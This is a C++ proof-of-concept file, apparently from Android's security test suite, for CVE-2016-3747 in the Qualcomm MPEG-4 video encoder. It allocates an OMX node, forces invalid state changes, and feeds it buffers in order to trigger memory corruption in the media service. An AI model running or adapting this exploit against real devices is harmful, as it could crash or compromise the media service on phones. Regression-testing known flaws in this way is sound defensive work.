/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define LOG_TAG "CVE-2016-3747" #include #include #include #include #include #include #include using namespace android; struct DummyOMXObserver : public BnOMXObserver { public: DummyOMXObserver() {} virtual void onMessages(const std::list &messages __unused) {} protected: virtual ~DummyOMXObserver() {} }; bool fuzzIOMXQcomEnc() { sp node; sp mOmx; int fenceFd = -1; const char *name = "OMX.qcom.video.encoder.mpeg4"; OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc( sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); params->nPortIndex = 0; // input port params->format.video.nFrameHeight = 1280 * 4; params->format.video.nFrameWidth = 720 * 4; params->nBufferCountActual = 12; params->nBufferSize = 73728; params->nBufferCountMin = 0x4; int inMemSize = params->nBufferSize * 12; int outMemSize = 49152 * 4; int inBufferCnt = 12; int outBufferCnt = 4; int inBufferSize = inMemSize / inBufferCnt; int outBufferSize = outMemSize / outBufferCnt; sp memory; OMXClient client; if (client.connect() != OK) { ALOGE("OMXClient connect == NULL"); return false; } mOmx = client.interface(); if (mOmx == NULL) { ALOGE("OMXClient interface mOmx == NULL"); client.disconnect(); return false; } sp observer = new DummyOMXObserver(); status_t err = mOmx->allocateNode(name, observer, &node); if (err != OK) { ALOGI("%s node allocation fails", name); return false; } // make venc in invalid state err = node->sendCommand(OMX_CommandStateSet, 2); if (err != OK) { ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err); node->freeNode(); return false; } sp dealerIn = new MemoryDealer(inMemSize); IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt]; for (int i = 0; i < inBufferCnt; i++) { sp memory = dealerIn->allocate(inBufferSize); if (memory.get() == nullptr) { ALOGE("memory allocate failed for port index 0, err: %d", err); node->freeNode(); return false; } OMXBuffer omxInBuf(memory); err = node->useBuffer(0, omxInBuf, &inBufferId[i]); ALOGI("useBuffer, port index 0, err: %d", err); } sp dealerOut = new MemoryDealer(outMemSize); IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt]; for (int i = 0; i < outBufferCnt; i++) { sp memory = dealerOut->allocate(outBufferSize); if (memory.get() == nullptr) { ALOGE("memory allocate failed for port index 1, err: %d", err); node->freeNode(); return false; } OMXBuffer omxOutBuf(memory); err = node->useBuffer(1, omxOutBuf, &outBufferId[i]); ALOGI("useBuffer, port index 1, err: %d", err); } // make venc in invalid state err = node->sendCommand(OMX_CommandStateSet, 3); ALOGI("sendCommand, err: %d", err); if (err != OK) { ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err); node->freeNode(); return false; } OMXBuffer omxInBuf(memory); for (int i = 0; i < inBufferCnt; i++) { err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd); ALOGI("emptyBuffer, err: %d", err); } OMXBuffer omxOutBuf(memory); for (int i = 0; i < outBufferCnt; i++) { err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd); ALOGI("fillBuffer, err: %d", err); } free(params); err = node->freeNode(); ALOGI("freeNode, err: %d", err); return true; } int main() { return fuzzIOMXQcomEnc(); }